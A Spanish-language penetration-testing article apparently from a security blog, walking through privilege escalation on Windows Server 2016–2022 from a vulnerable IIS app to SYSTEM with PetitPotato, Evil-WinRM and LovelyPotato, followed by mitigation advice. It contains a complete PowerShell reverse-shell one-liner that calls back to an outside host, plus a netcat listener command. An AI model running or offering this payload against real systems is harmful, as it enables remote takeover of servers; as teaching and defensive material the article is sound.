Hablando un poco sobre escalada de privilegios en entornos Windows Server, desde 2016 a 2022 Server. 2025 es otra historia que abordaremos en otro artículo.
En este artículo mostraré una secuencia de escalada de privilegios a través de un servidor IIS vulnerable. Empezaremos con un acceso bastante limitado y terminaremos obteniendo privilegios de SYSTEM para posteriormente poder empezar una enumeración interna del Directorio Activo y una fase de post-explotación dentro de la CyberKillChain. Para esta demostración usaremos herramientas como PetitPotato y LovelyPotato.
CyberKillChain
[Fase 1: Reconnaissance]
Enumeración del servidor,
descubrimiento de la app IIS vulnerable.
[Fase 2: Weaponization]
Preparar payload para obtener revshell.
|
v
┌──────────────────────────────────────────┐
│ [Fase 3: Delivery] │
│ Subir/entregar payload malicioso via │
│ funcionalidad web IIS │
└──────────────────────────────────────────┘
|
v
┌──────────────────────────────────────────┐
│ [Fase 4: Exploitation] │
│ Se ejecuta la revshell (DefaultAppPool)│
│ Obtenemos primer acceso en Servidor IIS │
└──────────────────────────────────────────┘
|
v
┌──────────────────────────────────────────┐
│ [Fase 5: Installation] │
│ – Subir PetitPotato y ejecutar para │
│ crear usuario en grupo Admin local. │
│ – Preparar binarios para escalada. │
└──────────────────────────────────────────┘
|
v
┌──────────────────────────────────────────┐
│ [Fase 6: Command & Control] │
│ – Conexión Evil-WinRM con el nuevo │
│ usuario Admin local. │
│ – Sesión interactiva de Powershell. │
└──────────────────────────────────────────┘
|
v
┌──────────────────────────────────────────┐
│ [Fase 7: Actions on Objectives] │
│ – Ejecución de LovelyPotato -> SYSTEM │
│ – Toma de control total: │
│ NT AUTHORITY\SYSTEM. │
└──────────────────────────────────────────┘
1. Reverse Shell desde la aplicación web (IIS)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command “$client = New-Object System.Net.Sockets.TCPClient(‘192.168.56.13’,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback+’PS ‘+(pwd).Path+’> ‘;$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}”

Objetivo: Obtener el primer acceso al servidor de Windows donde corre IIS utilizando la cuenta de servicio DefaultAppPool.
Resultado: Tan pronto como el payload se ejecuta en el servidor, obtenemos una shell remota con los privilegios de la cuenta DefaultAppPool.
Contexto: Usualmente, en aplicaciones web que corren sobre IIS, la cuenta de servicio DefaultAppPool suele tener pocos privilegios. Sin embargo, en ocasiones puede acceder a rutas y ejecutar comandos con ciertos permisos limitados.
Ejecución del exploit:
Descubrimos un formulario o funcionalidad vulnerable (por ejemplo, carga de archivos, inyección de comandos, etc.).
Colocamos un payload que nos permita obtener una reverse shell (por ejemplo, un script en ASP, ASPX, o cualquier otra tecnología compatible con IIS).
Configuramos nuestro listener en la máquina atacante para esperar conexiones entrantes en un puerto específico (por ejemplo, con nc -lvnp 4444 o msfconsole).
Este usuario tiene privilegios muy limitados, por lo que mi primer objetivo será buscar una forma de escalar a un contexto más poderoso dentro de la máquina.
2 . Escalada de privilegios con PetitPotato
Objetivo: Escalar privilegios desde DefaultAppPool y crear un usuario con privilegios de administrador local.
Lo ejecutamos especificando el comando que deseamos correr con privilegios elevados. En este caso, queremos ejecutar un comando que cree un usuario nuevo y lo agregue al grupo de administradores locales. Por ejemplo:
¿Qué es PetitPotato?
PetitPotato (similar a JuicyPotato, RoguePotato, etc.) aprovecha la forma en que Windows maneja los tokens de servicio (DCOM y RPC) para “suplantar” (impersonate) privilegios más altos de los que inicialmente tenemos. Mediante estos exploits, podemos ganar privilegios de servicio local de alto nivel (por ejemplo, NT AUTHORITY\SYSTEM o privilegios que permitan gestionar usuarios).
Ejecución:
Subimos el binario o script de PetitPotato al servidor (hay versiones en C#, .exe, etc.).

- Dependiendo de la versión de Windows y el método exacto de PetitPotato, puede que necesites especificar puertos, CLSID o parámetros concretos.
Resultado: Al finalizar, habremos creado un usuario con privilegios de administrador local. Aun si no hemos obtenido directamente una shell como NT AUTHORITY\SYSTEM, al menos tenemos un usuario en el grupo de administradores locales de la máquina.

3 . Conexión a la máquina con Evil-WinRM
Objetivo: Utilizar el usuario recién creado para conectarnos a la máquina víctima.
- Proceso:
- Ejecutas: Evil-winrm -i <IP_del_servidor_windows> -u NombreUsuario -p Contraseña (En este caso usaremos el nuevo usuario que hemos creado en el paso anterior).
- Una vez dentro, ya estás usando una sesión con privilegios de administrador local, lo que facilita la interacción y la ejecución de herramientas en la máquina objetivo.
- Resultado: Tendrás una shell interactiva de PowerShell con privilegios de administrador local.
4 . Escalada de privilegios a SYSTEM con LovelyPotato
Objetivo: Obtener el máximo privilegio en la máquina: NT AUTHORITY\SYSTEM.
- ¿Qué es LovelyPotato?
Al igual que PetitPotato, LovelyPotato es otra variación (o wrapper) que explota la forma en que Windows maneja la autenticación y tokens de servicio. Estas técnicas se basan en los mismos principios que JuicyPotato y RoguePotato: se aprovecha un proceso con permiso de “impersonación” para adquirir tokens más privilegiados. - Ejecución:
- Subes o descargas la herramienta LovelyPotato a la máquina objetivo.
- La ejecutas especificando que quieres una shell o quieres ejecutar un comando con privilegios de SYSTEM.
- Muchas veces, estas herramientas permiten directamente correr una consola con cmd.exe o powershell.exe como NT AUTHORITY\SYSTEM.
- Resultado: Si el exploit funciona correctamente, tu prompt o shell mostrará que ahora eres el usuario NT AUTHORITY\SYSTEM, lo que significa que tienes el máximo nivel de privilegios en un entorno Windows local.

En este ejemplo hemos utilizado una sesión de meterpreter mediante la herramienta metasploit configurando multi/handler.

Escalada de privilegios en Windows Server 2025
En la secuencia táctica que hemos mostrado en este artículo hemos usado varias herramientas, este procedimiento es válido para versiones desde Windows Server 2016 hasta 2022 Server. Ahora bien, en Windows 2025 Server si hemos podido validar el funcionamiento de PetitPotato, no así el de otras herramientas como LovelyPotato, RoguePotato o JuicyPotato. Esto es porque en Windows Server 2025 los objetos DCOM y los CLIDs han cambiado y por el momento han sido parcheados. Pero sí hemos podido ejecutar otras técnicas de escalada de privilegios como PrivescCheck o RegistryAutoRuns. Pero esto lo explicaremos en otro artículo.
Mitigaciones
Aquí tienes algunas recomendaciones generales que suelen ayudar a mitigar o dificultar la explotación de vulnerabilidades como las que se aprovechan en PetitPotato, LovelyPotato, JuicyPotato, etc.:
- Mantener el sistema actualizado.
- Instala los parches de seguridad y las actualizaciones de Windows tan pronto como estén disponibles.
- Muchas de las vulnerabilidades de “Potato” se basan en errores de diseño o configuraciones inseguras que suelen corregirse (o al menos limitarse) en revisiones posteriores de Windows.
- Revisar y limitar privilegios de cuentas de servicio
- Asegúrate de que las cuentas de servicio (incluyendo DefaultAppPool) tengan solo los privilegios estrictamente necesarios.
- Evita utilizar cuentas de dominio con altos privilegios (como Domain Admin) para servicios locales.
- Usa el principio de menor privilegio: las aplicaciones deben funcionar con los privilegios justos para su labor y nada más.
- Deshabilitar servicios y protocolos innecesarios
- Algunos exploits de la familia “Potato” hacen uso de DCOM/RPC. Si no son requeridos, considera deshabilitar o restringir el acceso a estos servicios.
- Revisa las configuraciones de firewall y de acceso remoto (RDP, WinRM) para restringir a usuarios o direcciones IP de confianza.
- Fortalecer la configuración de WinRM
- Usa autenticación basada en certificados o Kerberos en lugar de NTLM si es posible.
- Limita el acceso a WinRM solo a los administradores que lo requieran realmente.
- Configura alertas o auditorías para conexiones WinRM, de manera que puedas detectar accesos sospechosos.
- Supervisar la creación y cambios de usuarios
- Habilita la Audit Policy para registrar y monitorizar la creación de cuentas de usuario y modificaciones de membresías en grupos.
- Configura sistemas SIEM o alertas que notifiquen inmediatamente cuando haya un nuevo usuario en grupos de privilegios altos (como Administrators o Domain Admins).
- Encriptar y proteger credenciales
- Evita almacenar contraseñas en texto plano o en scripts accesibles.
- Utiliza Credential Guard (en versiones compatibles de Windows) para evitar la sustracción de hashes y tokens de autenticación.
- Aplicar el principio de Privileged Access Workstations (PAW) y segmentación de red.
- Si es viable, administra tu infraestructura crítica desde estaciones especiales y aisladas (PAW) que minimicen los riesgos de infección.
- Mantén servicios web, servidores de aplicaciones, bases de datos y controladores de dominio en segmentos de red separados.
- Minimiza el movimiento lateral restringiendo saltos de un segmento a otro.
- Restringir la suplantación de tokens (Token Impersonation)
- Puedes configurar directivas en Local Security Policy o GPO para restringir qué cuentas pueden “impersonar” a otras (User Rights Assignment > Impersonate a client after authentication).
- Asegúrate de que sólo los servicios y cuentas que realmente lo requieran tengan ese privilegio.
- Sensibilizar al equipo de desarrollo y operaciones
- Haz capacitaciones o guías sobre cómo proteger aplicaciones en IIS.
- Promueve prácticas seguras de desarrollo, como validar correctamente entradas, subir archivos de forma segura, evitar shells inversas o intérpretes sin necesidad, etc.
- Realizar pruebas de penetración periódicas.
- Además de configurar y endurecer la seguridad, es fundamental simular ataques reales y valerte de pentesters o herramientas automáticas para identificar brechas.
- Esto permite descubrir debilidades en configuraciones antes de que sean explotadas en producción.
Siguiendo estos pasos, podrás reducir considerablemente la superficie de ataque y complicar la explotación de vulnerabilidades que permitan una escalada de privilegios en tus sistemas Windows.